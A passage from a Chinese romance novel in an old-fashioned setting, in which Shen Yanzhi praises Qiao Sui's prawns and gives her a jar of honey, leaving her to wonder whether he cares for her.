沈宴之拿起那只大虾，剥了壳，蘸了点姜醋汁，放进嘴里。 “味道很好，”沈宴之由衷地称赞，“火候掌握得刚好，鲜味儿都锁在肉里了。” 得到他的肯定，乔穗笑了笑：“沈大人喜欢就好。” 随后，沈宴之将桌上的纸包向前推了推：“给你还带了点东西。” 说着他打开纸包，里面是一小罐蜂蜜，“前几日托人从城外蜂农那买的，想着你做蘸的话料或许能用得上。” 乔穗愣了愣，连忙说道：“沈大人太客气了，还特意带东西来，真是破费了。” 他竟然还记得她做小龙虾要用到调料，这份细心，让她有些不自在，又有些感动。 难道真如萍丫头所说，沈宴之对她，存了不一样的心思。